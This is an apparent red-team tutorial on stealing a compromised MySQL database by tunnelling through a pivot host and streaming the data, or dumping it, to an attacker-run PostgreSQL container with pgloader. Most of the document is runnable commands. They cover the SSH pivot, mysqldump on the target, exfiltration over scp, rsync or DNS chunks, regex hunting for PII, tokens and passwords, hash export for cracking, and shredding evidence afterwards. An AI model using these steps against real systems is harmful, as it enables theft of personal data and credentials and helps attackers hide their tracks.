Data exfiltration - Migrating MySQL to PostgreSQL with Docker and pgloader

Introduction

#

As a seasoned red team operator, gaining shell access is often just the beginning. The real value—the “crown jewels”—often lives in the database. You might find customer data, intellectual property, or plain-text credentials that unlock the rest of the network.

Often, you land on a target running MySQL. While you can query it in place, this is risky. Long-running analytical queries can spike CPU usage, alert defenders, or even lock production tables, causing a Denial of Service.

The Solution: exfiltrate the data to a local environment where you can analyze it safely and aggressively.

In this guide, we will use Docker to spin up a sacrificial PostgreSQL instance and pgloader to convert the target’s MySQL schema and data into Postgres format.

Why Postgres? Because it offers superior analytical capabilities (regex, full-text search) and integrates better with many offline analysis tools than MySQL. Plus, pgloader handles the dirty work of type conversion for us.

Part 1: The Red Team Infrastructure

#

Before we move data, we need a stable container to hold it. We use Docker to keep our host OS clean.

1. Spinning up PostgreSQL via Docker

#

We must mount a volume so that the data persists even if the container crashes.

# Create a local directory for persistence
mkdir -p ~/loot/postgres_data

# Run the container
# We use Postgres 14 because older versions of pgloader sometimes struggle with SCRAM-SHA-256 in PG 15+
docker run --name postgres-exfil \
  -e POSTGRES_PASSWORD=SuperSecretPassword123 \
  -v ~/loot/postgres_data:/var/lib/postgresql/data \
  -p 5432:5432 \
  -d postgres:14

2. Preparing the Tunnel (For Live Migration)

#

If you have a live connection to the target network, you need to expose the internal MySQL port (3306) to your localhost.

# Local Port Forwarding via SSH
ssh -L 3306:127.0.0.1:3306 user@pivot-host

Note: We assume the MySQL server is listening on localhost of the pivot host. If it’s a different server, adjust the jump.

Part 2: The “Live” Migration (Networked)

#

If you have a high-bandwidth, stable connection, pgloader can stream data directly from the target to your local Docker container. This is the fastest method.

1. Installing pgloader

#

sudo apt-get install pgloader

2. The Migration Command

#

pgloader handles schema translation (e.g., converting MySQL INT(11) to Postgres integer).

# Syntax: pgloader source target
pgloader mysql://root:password@127.0.0.1/target_db \
         postgresql://postgres:SuperSecretPassword123@127.0.0.1/target_db_exfil

Under the Hood:

1. Connects to MySQL (Target) via the SSH tunnel.
2. Connects to Postgres (Local) via Docker.
3. Reads schema, converts types, creates tables.
4. Batches and streams data.

[!NOTE] If you encounter SSL errors connecting to older MySQL servers, add ?useSSL=false to the source connection string.

Part 3: The “Offline” Migration (Air-Gapped / Restricted)

#

Sometimes, you cannot open a direct tunnel. The network might be unstable, or strict egress filtering blocks your connection. In this case, you must dump the data to a file, exfiltrate the file, and load it locally.

Step 1: Dump on Target

#

Use mysqldump to create a standard SQL backup.

# On the target machine
mysqldump -u root -p --compatible=postgresql --default-character-set=utf8 target_db > dump.sql

• --compatible=postgresql: Helps (but doesn’t perfectly fix) dialect issues.

Step 2: Exfiltrate

#

Use scp, rsync, or even split it into base64 chunks over DNS if you are desperate.

# Compress it first! Text compresses well.
gzip dump.sql
# Transfer dump.sql.gz to your attacker machine

Step 3: Load with pgloader

#

pgloader can read from files too!

# Decompress on attacker machine
gunzip dump.sql.gz

# Use pgloader to read the file
pgloader dump.sql postgresql://postgres:SuperSecretPassword123@127.0.0.1/target_db_exfil

Part 4: Deep Analysis and Looting

#

Now that you have the data locally, you can run aggressive queries without fear of crashing production.

Finding PII (Personally Identifiable Information)

#

-- Connect to your local exfil DB
psql -h 127.0.0.1 -U postgres -d target_db_exfil

-- Search for columns containing "pass", "ssn", "credit", or "email" across the entire schema
SELECT table_name, column_name
FROM information_schema.columns
WHERE column_name ~* 'pass|ssn|credit|email|token|secret';

Extracting Hashes for Cracking

#

If the MySQL database stored application passwords, export them for Hashcat.

COPY (SELECT username, password FROM users) TO '/tmp/hashes.txt';

Cross-Referencing Data

#

You can now join tables that would be too expensive to join on a live system, hunting for patterns like user reuse of passwords or common email domains.

Part 5: OpSec and Forensic Considerations

#

1. Network Spike: A “Live” migration creates a massive, sustained download stream. This looks like data exfiltration (because it is). Network flow logs will catch this.

2. Disk I/O: The “Offline” method creates a large file on the target disk. Ensure you delete dump.sql and dump.sql.gz immediately after transfer. use shred -u if possible.

3. Process List: mysqldump and ssh processes are visible.

4. Cleanup:

   # Stop the local container when done analyzing
   docker stop postgres-exfil
   # The data persists in ~/loot/postgres_data if you need it later.
   

Conclusion

#

The combination of Docker and pgloader provides a high-speed, reliable pipeline for analyzing target data. Whether you stream it live through a tunnel or carry it out as a dump file, getting the data onto your own infrastructure allows you to work smarter, not harder.

Data is the ultimate payload. Treat it with respect.

Happy hunting!

References

#

• Pgloader Documentation
• Docker Hub - Postgres
• HackTricks - MySQL Pentesting